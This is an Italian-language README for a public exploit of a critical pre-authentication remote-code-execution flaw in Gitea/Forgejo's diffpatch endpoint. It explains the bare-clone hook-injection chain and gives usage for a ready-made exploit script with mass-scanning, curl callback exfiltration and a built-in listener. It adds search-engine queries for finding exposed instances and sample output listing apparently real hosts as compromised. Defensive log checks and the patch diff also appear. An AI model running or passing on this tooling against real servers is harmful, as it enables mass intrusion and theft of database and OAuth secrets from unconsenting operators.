
CVE-2026-60004 — Gitea/Forgejo Diffpatch Git Hook RCE. Bare clone → post-index-change hook injection. CVSS 9.8 | CWE-94 | Gitea < 1.27.1
CVE-2026-60004 è una vulnerabilità pre-autenticazione di esecuzione remota di codice con severità critica (CVSS 9.8) nelle piattaforme Git self-hosted Gitea e Forgejo, che interessa le versioni dalla 1.17 alla 1.27.0.
La vulnerabilità sfrutta un difetto progettuale del clone bare nell'endpoint API POST /api/v1/repos/{owner}/{repo}/diffpatch. Gitea applica le patch fornite dall'utente all'interno di un clone temporaneo bare — dove la radice del repository è $GIT_DIR stesso. Inviando la stessa patch dannosa due volte, un attaccante innesca un conflitto add/add che induce il fallback di merge a tre vie di Git (-3, Git 2.32+) a scrivere un hook post-index-change eseguibile direttamente in $GIT_DIR/hooks/. Git esegue automaticamente questo hook durante l'aggiornamento dell'indice, consentendo l'esecuzione arbitraria di comandi con l'account di servizio di Gitea.
È richiesto l'accesso in scrittura al repository — banalmente ottenibile poiché Gitea ha per impostazione predefinita la registrazione aperta, senza verifica email, approvazione dell'amministratore o limiti alla creazione di repository.
| Versione | Stato |
|---|---|
| < 1.17 | Non interessata (route diffpatch non ancora introdotta) |
| 1.17 — 1.27.0 | Vulnerabile |
| 1.27.1+ | Corretta |
Scoperta da: Shai Rod (NightRang3r), 28 luglio 2026 Progetto: Gitea / Forgejo (servizio Git self-hosted) Componente: endpoint API diffpatch, clone temporaneo bare
La vulnerabilità ha origine da un singolo parametro in services/repository/files/patch.go:
// VULNERABLE — v1.27.0, line 195
// The second argument "true" creates a BARE clone
if err := t.Clone(ctx, opts.OldBranch, true); err != nil {
return nil, err
}
In un clone bare non esiste un working tree: la radice del repository è $GIT_DIR. Una patch dannosa il cui percorso è hooks/post-index-change finisce quindi direttamente nella directory reale degli hook di Git, non in un working tree isolato.
L'invocazione di git apply aggrava ulteriormente il problema:
// VULNERABLE — v1.27.0, lines 206-209
cmdApply := gitcmd.NewCommand("apply",
"--index", "--recount", "--cached",
"--ignore-whitespace", "--whitespace=fix", "--binary")
if git.DefaultFeatures().CheckVersionAtLeast("2.32") {
cmdApply.AddArguments("-3") // three-way merge fallback
}
$GIT_DIR, quindi il percorso hooks/post-index-change punta alla directory reale degli hook.--cached non è infallibile — il fallback a tre vie -3 di Git 2.32+ scrive i risultati del merge nel working tree durante i conflitti add/add, nonostante il flag --cached.post-index-change — dopo l'aggiornamento dell'indice, Git esegue incondizionatamente questo hook se esiste ed è eseguibile. Nessuna configurazione necessaria.git update-index all'interno dell'hook va in deadlock perché git apply mantiene il lock dell'indice. Utilizzare callback HTTP (curl) o reverse shell per l'esfiltrazione dell'output.1. Attacker registers account (open registration is the Gitea default)
2. Creates initialized private repository → obtains write access
3. POSTs malicious patch to /api/v1/repos/{owner}/{repo}/diffpatch
└─ Bare temp clone created: .Clone(ctx, oldBranch, true)
└─ git apply --index --cached -3 processes the patch
└─ hooks/post-index-change added to INDEX only (--cached)
4. POSTs the SAME patch again → add/add conflict detected
└─ Three-way merge (-3) resolves the conflict
└─ Writes hooks/post-index-change to $GIT_DIR/hooks/ (bypasses --cached)
└─ Git fires post-index-change hook automatically
└─ Sleep N seconds → timing delta confirms RCE
5. Hook exfiltrates command output via curl to attacker's callback server
└─ GET /?h=<hostname>&c=<command>&data=<base64_output>
6. Callback server writes output to organized files per target
# Look for repeated diffpatch POSTs from newly-registered accounts
grep -E "POST.*diffpatch" /var/log/gitea/gitea.log | awk '{print $1, $3, $NF}' | sort | uniq -c | sort -rn
# Suspicious pattern: new account → immediate repo creation → diffpatch within seconds
grep -E "(user_created|repo_created|diffpatch)" /var/log/gitea/gitea.log
# Check temp directories for orphaned hook files
find /tmp -name "post-index-change" -path "*/hooks/*" 2>/dev/null
find /var/tmp -name "post-index-change" -path "*/hooks/*" 2>/dev/null
La differenza tra un clone bare e uno non bare — un singolo parametro booleano — determina se un percorso di patch è una voce innocua del working tree o un hook eseguibile che atterra direttamente nella directory interna di Git. La correzione cambia esattamente un carattere nel diff (true → false), motivo per cui il commit è stato etichettato come "refactor: git patch apply" sotto MISC anziché sotto SECURITY. L'operazione che avrebbe dovuto essere isolata nell'indice (--cached) è stata silenziosamente compromessa dal meccanismo di merge a tre vie di Git, e nessun controllo aggiuntivo impediva la creazione di file hook nella $GIT_DIR del clone bare.
git clone https://github.com/shinthink/CVE-2026-60004.git
cd CVE-2026-60004
pip install requests
# Single target (timing-based RCE detection)
python cve_2026_60004.py -t gitea.example.com
# Single target with callback for output capture
python cve_2026_60004.py -t gitea.example.com --callback http://your-server:8888
# Mass scan
python cve_2026_60004.py -f targets.txt -o rce.txt --threads 20
# Force attempt regardless of detected version
python cve_2026_60004.py -f targets.txt --forced
# Auto-start built-in callback listener (zero setup)
python cve_2026_60004.py -t gitea.example.com --listen
-t, --target Single target URL
-f, --file Target list, one per line
-c, --command Shell command to execute (default: id)
--callback HTTP callback URL for output exfiltration
--listen [PORT] Auto-start built-in callback listener
-o, --output Save RCE-confirmed URLs to file
--threads Concurrent workers (default: 25)
--timeout HTTP request timeout in seconds
--no-cleanup Leave repository and user on target
--forced Attempt exploit regardless of detected version
--debug Show every HTTP request
-v, --verbose Verbose output
$ python cve_2026_60004.py -t gitea.example.com --callback http://your-server:8888
Gitea Diffpatch Git Hook RCE | CVE-2026-60004 | CVSS 9.8
Host : gitea.example.com
Version : 1.22.0
Vuln (< 1.27.1) : YES
RCE : CONFIRMED
Detection : timing Δ 8.0s (hook sleep 4s)
User : poc_a1b2c3
Time : 9.5s
$ python cve_2026_60004.py -f targets.txt --callback http://your-server:8888 --threads 20
Gitea Diffpatch Git Hook RCE | CVE-2026-60004 | CVSS 9.8
Targets: 259 | Threads: 20
[RCE] gitea.idetama.id Δ8.7s (hook sleep 4s)
[RCE] gitea.roan.id.au Δ8.7s (hook sleep 4s)
[DET] git.ofon.id | ⠼ [████░░░░░░░░░░░] 86/259 (33%) Det:76 RCE:2
───────────────────────────────────────────────────────
SCAN SUMMARY
───────────────────────────────────────────────────────
Total : 259
RCE Confirmed : 12
Hook Failed : 5
Patched : 25
Errors : 151
Register fail : 85
Login fail : 42
Repo fail : 24
Not Gitea : 66
───────────────────────────────────────────────────────
Detection method: timing
Done | 77s
callback-data/
├── index.txt
├── gitea.idetama.id/
│ ├── output_2026-08-03_120000.txt
│ └── latest.txt
├── gitea.roan.id.au/
│ └── ...
FOFA: title="Gitea" || body="gitea" || body="forgejo"
Shodan: http.title:"Gitea" http.component:"Gitea"
Censys: services.http.response.html_title:"Gitea"
Uno sfruttamento riuscito consente l'esecuzione remota di codice con l'account di servizio di Gitea:
app.ini — credenziali del database, segreti SMTP, chiavi app OAuth, segreti LFS/JWTNon è necessario alcun account sull'istanza: la registrazione è aperta per impostazione predefinita.
Gitea ha corretto la vulnerabilità nella versione 1.27.1 (commit 470d34b) attraverso:
$GIT_DIR/hooks/--index possono interagire con il working tree in determinate condizioniTestGitPatchPrepare) che verifica che il clone temporaneo sia non bare controllando la presenza di una sottodirectory .git- if err := t.Clone(ctx, opts.OldBranch, true); err != nil {
+ // here must NOT use bare repo, because the following git commands
+ // might operate working tree ("--index") directly
+ if err := t.Clone(ctx, opts.OldBranch, false); err != nil {
La correzione è comparsa nelle note di rilascio della 1.27.1 sotto MISC come
"refactor: git patch apply"anziché sotto SECURITY, facendo sì che gli amministratori che esaminano solo le voci di changelog relative alla sicurezza possano facilmente perdersi questo aggiornamento critico. Lo stesso pattern di clone bare inCherryPickè stato anch'esso corretto.
SOLO PER SCOPI EDUCATIVI E DI TEST AUTORIZZATO.
Non utilizzare contro sistemi senza l'esplicita autorizzazione del proprietario. Gli autori non si assumono alcuna responsabilità per un uso improprio.
| Risorsa | Link |
|---|
Scoperta da Shai Rod (NightRang3r). Non affiliata a Gitea o Forgejo.
| File | Riga(e) | Scopo |
|---|
services/repository/files/patch.go | 195 | t.Clone(ctx, opts.OldBranch, true) — creazione del clone bare |
services/repository/files/patch.go | 206-209 | git apply con i flag --index --cached -3 |
services/repository/files/patch.go | 215-223 | WriteTree() + CommitTree() + Push() — persiste lo stato dell'attaccante |
services/repository/files/cherry_pick.go | ~170 | Stesso pattern di clone bare in CherryPick (anch'esso corretto) |
| Commit di correzione Gitea | 470d34b |
| Ricercatore | NightRang3r |
| CWE-94 | Code Injection |
| Hook di Git | post-index-change |